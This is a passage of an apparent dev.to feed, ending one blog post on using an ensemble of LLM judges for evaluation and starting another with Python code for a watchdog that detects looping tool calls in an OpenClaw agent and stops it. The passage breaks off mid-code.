    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;choices&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;ensemble_judge&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;proposal&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;n_judges&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;dict&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;results&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nf"&gt;judge_output&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;proposal&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n_judges&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
    &lt;span class="n"&gt;scores&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;score&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="n"&gt;median_score&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;scores&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;scores&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;//&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="c1"&gt;# Collect concerns across all judges
&lt;/span&gt;    &lt;span class="n"&gt;all_concerns&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;set&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;results&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;all_concerns&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;concerns&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[]))&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;score&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;median_score&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;individual_scores&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;scores&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;concerns&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;all_concerns&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;passed&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;median_score&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mf"&gt;0.80&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The three-judge ensemble is the highest-leverage line in this whole setup. It's not elegant. It costs 3x the inference. But it converts your eval from "noisy signal" to "reliable gate."&lt;/p&gt;

&lt;h2&gt;
  
  
  The Meta-Problem
&lt;/h2&gt;

&lt;p&gt;Here's what keeps me up at night: the judge is also an LLM. It has the same failure modes as the system it's evaluating. It hallucinates correctness. It overfits to style. It sometimes scores a completely broken output at 0.87 because it sounds confident.&lt;/p&gt;

&lt;p&gt;You can't escape this loop by adding more LLM. You can only manage it.&lt;/p&gt;

&lt;p&gt;The practical answer is: treat your eval like a flaky test suite. Run it multiple times. Track your false positive rate. Calibrate your threshold against human judgment on a sample set. And when the eval and the human disagree — which will happen — trust the human, then figure out why the eval failed, then fix the eval.&lt;/p&gt;

&lt;p&gt;No eval is objective. The moment you think yours is, it starts costing you.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Learned
&lt;/h2&gt;

&lt;p&gt;Running 50 eval iterations on the same input taught me three things I should have known going in:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Single-shot LLM judgment is not a reliable gate.&lt;/strong&gt; It's a useful signal, not a final verdict. Treat it like a first-pass code review, not a CI check.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Few-shot examples are not optional.&lt;/strong&gt; Without them, the judge improvises. With them, the variance drops significantly. Invest the time to build a good example set.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Temperature 0 doesn't mean stable.&lt;/strong&gt; If you're running repeated evals, keep temperature above 0 but low (0.1-0.2) and average multiple runs. Determinism is an illusion at the inference layer.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;LLM-as-judge is a genuinely useful pattern. But "useful" and "reliable" are different things, and confusing them is how you end up with production systems that pass their own tests and fail in the real world.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>llm</category>
      <category>agents</category>
      <category>llmtools</category>
    </item>
    <item>
      <title>I Built an Anti-Thrash Watchdog Sidecar for My OpenClaw Agent. It Killed 3 Loops Before I Even Noticed</title>
      <dc:creator>MrClaw207 </dc:creator>
      <pubDate>Wed, 08 Jul 2026 18:04:29 +0000</pubDate>
      <link>https://dev.to/mrclaw207/i-built-an-anti-thrash-watchdog-sidecar-for-my-openclaw-agent-it-killed-3-loops-before-i-even-4cj6</link>
      <guid>https://dev.to/mrclaw207/i-built-an-anti-thrash-watchdog-sidecar-for-my-openclaw-agent-it-killed-3-loops-before-i-even-4cj6</guid>
      <description>&lt;h1&gt;
  
  
  I Built an Anti-Thrash Watchdog Sidecar for My OpenClaw Agent. It Killed 3 Loops Before I Even Noticed
&lt;/h1&gt;

&lt;p&gt;Last Tuesday my OpenClaw agent burned 11,000 tokens in 90 seconds re-trying the same browser action. By the time I saw the Telegram alert, the loop had already restarted twice. That's the day I built a watchdog sidecar — and in the first week it killed three loops I never would have caught manually.&lt;/p&gt;

&lt;p&gt;If you've ever looked at your token bill at the end of the day and thought "where did all of this go?", there's a good chance the answer is &lt;em&gt;agent thrashing&lt;/em&gt;: the same tool call failing, retrying, partially succeeding, and re-firing. A watchdog that watches for the &lt;em&gt;shape&lt;/em&gt; of thrash (not just errors) is more useful than any retry-budget config I've tried.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why error budgets don't catch this
&lt;/h2&gt;

&lt;p&gt;OpenClaw has a &lt;code&gt;maxRetries&lt;/code&gt; setting. It helps. But thrashing is rarely &lt;em&gt;failing&lt;/em&gt; in the strict sense — each call returns a 200, the agent just isn't making progress. The classic pattern looks like this:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;browser.click(ref="e42")&lt;/code&gt; → success, but element moved&lt;/li&gt;
&lt;li&gt;Agent retries with &lt;code&gt;ref="e17"&lt;/code&gt; → also success, also wrong element&lt;/li&gt;
&lt;li&gt;Agent reads the URL bar, concludes "login page", tries again&lt;/li&gt;
&lt;li&gt;11 turns later, still on the login page&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;No error budget triggers. The agent is &lt;em&gt;succeeding&lt;/em&gt; its way into a hole. You need a different signal.&lt;/p&gt;

&lt;h2&gt;
  
  
  The signal I went with: tool-call locality
&lt;/h2&gt;

&lt;p&gt;I instrumented the gateway with a small middleware that logs every tool call to a JSONL file with &lt;code&gt;agentId&lt;/code&gt;, &lt;code&gt;tool&lt;/code&gt;, &lt;code&gt;args_hash&lt;/code&gt;, &lt;code&gt;result_hash&lt;/code&gt;, and &lt;code&gt;timestamp&lt;/code&gt;. The watchdog reads the last 20 calls and asks a simple question:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;How many of the last 10 tool calls are within edit-distance 3 of a call that happened in the last 60 seconds?&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;If the answer is ≥ 6, the agent is looping. Here's the meat of it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# scripts/thrash-watchdog.py — runs as a cron every 60s
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;pathlib&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;

&lt;span class="n"&gt;LOG&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/home/themachine/.openclaw/workspace/data/gateway-tools.jsonl&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;STATE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/tmp/thrash-state.json&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;THRESHOLD&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;          &lt;span class="c1"&gt;# matching calls in last 10
&lt;/span&gt;&lt;span class="n"&gt;WINDOW&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt;            &lt;span class="c1"&gt;# seconds
&lt;/span&gt;&lt;span class="n"&gt;KILL_AFTER&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;         &lt;span class="c1"&gt;# consecutive thrash detections before killing
&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;fingerprint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# Hash tool + canonical args, ignore volatile fields like timestamp
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;hashlib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sha1&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;tool&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
        &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dumps&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;args&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;sort_keys&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;args&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;timestamp&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;hexdigest&lt;/span&gt;&lt;span class="p"&gt;()[:&lt;/span&gt;&lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;detect&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;LOG&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exists&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="n"&gt;cutoff&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;time&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;WINDOW&lt;/span&gt;
    &lt;span class="n"&gt;calls&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;LOG&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;calls&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
            &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;JSONDecodeError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="k"&gt;continue&lt;/span&gt;
    &lt;span class="n"&gt;recent&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;calls&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ts&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;cutoff&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;fps&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nf"&gt;fingerprint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;recent&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;:]]&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fps&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="c1"&gt;# count fingerprints that appear more than once
&lt;/span&gt;    &lt;span class="n"&gt;duplicates&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;fp&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;fps&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;fps&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;count&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;duplicates&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;THRESHOLD&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;duplicates&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;thrashing&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;score&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;detect&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;state&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;count&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;STATE&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exists&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
        &lt;span class="n"&gt;state&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;loads&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;STATE&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;read_text&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;thrashing&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;count&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[watchdog] thrash score=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;score&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; streak=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;count&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;count&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;KILL_AFTER&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;
                &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;openclaw&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;agent&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;kill&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;--reason&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;thrash_loop:&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;score&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;--preserve-state&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
            &lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;count&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
